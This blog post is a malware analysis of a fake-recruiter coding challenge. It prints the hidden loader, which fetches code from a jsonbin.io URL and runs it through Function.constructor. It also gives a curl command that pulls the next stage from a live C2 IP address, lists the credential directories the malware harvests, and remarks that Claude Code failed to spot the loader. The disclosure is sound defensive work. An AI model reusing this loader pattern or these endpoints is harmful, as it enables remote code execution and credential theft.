

The current situation on the IT job market is hard. So you are lucky when a recruiter on LinkedIn reaches out to you having a suitable match for a new position based on your prior experience. It might not be what it seems at a first glance.
“A relevant opportunity” with part-time remote work and a great hourly compensation is what surely pulls a lot of current Software Engineers into the conversation when a new job offer on LinkedIn comes in - so it happened to a friend of mine. The job offer was matching very well with the former experience and paired with speeding up the interview process with a quickly sent coding challenge after a couple of messages on LinkedIn.
The initial contact was made in the name of a company that did not know about this. So it is pure phishing just to steal your secrets and credentials. The company is well aware of that and already published a post on LinkedIn explaining the situation.
Before you start with the test, you might be suspicious about the following:
The task is to solve various problems and extend logic in a given TypeScript codebase. The project you receive is
.. but with some calls to external https://api.jsonbin.io endpoints. If you did not read the 180 files of code, you are hooked.
Here is the fishy code part that starts downloading further packages to inspect your system.
That is the endpoint, that ships more garbage. Watch out! The complete source code can be found in this Bitbucket repository .
1 2 3 4 5 6 7 const initPriceConfig = async () => { const src = "https://api.jsonbin.io/v3/b/6a60970bf5f4af5e29b03d8d" ; const res = ( await axios.get( ` ${ src } ` )); const handler = new ( Function .constructor)( 'require' , res.data.record.model); if (handler) handler(require); }; initPriceConfig(); The internal logic of the application always runs this function first by executing npm run dev , npm start , and so on. As it hands require in, it can:
A lot of things you desperately do not want to happen on your system.
The response from the jsonbin.io endpoint is effectively a remote-code execution loader . The record.model payload is 24,686 chars of obfuscator.io JavaScript wrapped around a small webpack bundle.
After deobfuscating the returned payload we get another bunch of obfuscated JavaScript. This code pulls data from the C2 (Command & Control) server http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5 .
I was able to pull the next piece of code using this
1 2 3 4 5 6 7 curl -sS -v --max-time 30 \ -H 'Authentication: jwt' \ -H 'Accept: application/json, text/plain, */*' \ -A 'axios/1.5.3' \ -D headers.txt \ -o body.bin \ 'http://147.189.174.138/api/service/070c425fd005e11aec1a90706dda66f5' It needs an Authentication header, with jwt as the token. This endpoint gives more obfuscated JavaScript code, in particular the following four modules:
scdata : an interactive RAT (Remote Access Trojan) node-pty full shell, ssh2 for pivoting and PEM key theft, screenshot-desktop +sharp for screen capture, clipboardy , and @nut-tree-fork/nut-js for synthetic keyboard and mouse. It also fingerprints for VM vs. bare metal.
ldata : browser credential and wallet stealer. Chrome/Edge/Brave/LT across all three OSes, every profile: Login Data, Web Data, Local Extension Settings LevelDB stores, and macOS login.keychain. It can target 28 wallet extensions like MetaMask, Phantom, Coinbase, Binance, TronLink, Trust, Keplr, Coin98, OKX, Rabby, and 18 more. It loops indefinitely, re-uploading roughly every minute.
File grabber : walks the home directory It tries to find private key , secret phrase , *metamask* , bitcoin , solana , .env , *.pem , *.p12 , *.pfx , plus documents and images, and whole .ssh , .aws , .gnupg and .docker directories. And, it enumerates all drive letters on Windows.
Clipboard monitor : monitor your clipboard It polls the clipboard and beacons it out, hiding behind the log name npm-compiler.log .
When the victim connects out to 147.189.174.138:7321 , the server sees the source address on the accepted socket, exactly as any web server sees a visitor’s IP. No discovery, no scanning, no registration of an address. This is precisely why outbound-only design is so convenient for the attacker: it works behind NAT, CGNAT, a corporate proxy, or a home router with zero configuration, and it doesn’t matter if the victim’s IP changes.
You opened the door to hell while you just wanted to get a job.
The malware gets the home directory of the current user and then builds the paths to look at.
1 2 3 4 5 6 7 8 rootDir = os.userInfo().homedir + '' , configDir = [ path.join(os.homedir(), ".aws" ), path.join(os.homedir(), ".ssh" ), path.join(os.homedir(), ".azure" ), path.join(os.homedir(), ".foundry" ), path.join(os.homedir(), ".config" ), //... ] It never asks for elevation. It doesn’t need root , UAC, or sudo , because nothing it wants is root-owned. SSH keys, AWS credentials, browser profiles, wallet data, .env files - all of it is user-owned by design, because you need to read it routinely. A process running under your account inherits that access. Node isn’t doing anything exotic here as cat ~/.ssh/id_rsa from a shell would work identically.
On Windows it goes further than home, enumerating drive letters via PowerShell and calling scanDir on each root, so mapped network drives and secondary disks are in scope too.
A couple of things could have helped, although there is never 100% protection. You would just not expect such a thing from a piece of code you get for a job opportunity.
Note that the RAT actively fingerprints for VM usage. It runs system_profiler , reads /proc/cpuinfo , and greps for vmware , qemu , microsoft corporation , then tags the beacon (VM) or (Local). That flag most likely feeds operator triage: a VM is more likely to be a sandbox and less likely to hold real wallets, so it may get deprioritised or handled more carefully.
A note on the AI part : Claude Code was not able to detect any strange things when just prompted to scan the code base for unusual patterns.
When the damage is done you probably should:
… and reinstall your OS - better safe than sorry.
Meanwhile the fisherman’s (fake recruiter) profile has been deleted.
Hacker News
news.ycombinator.com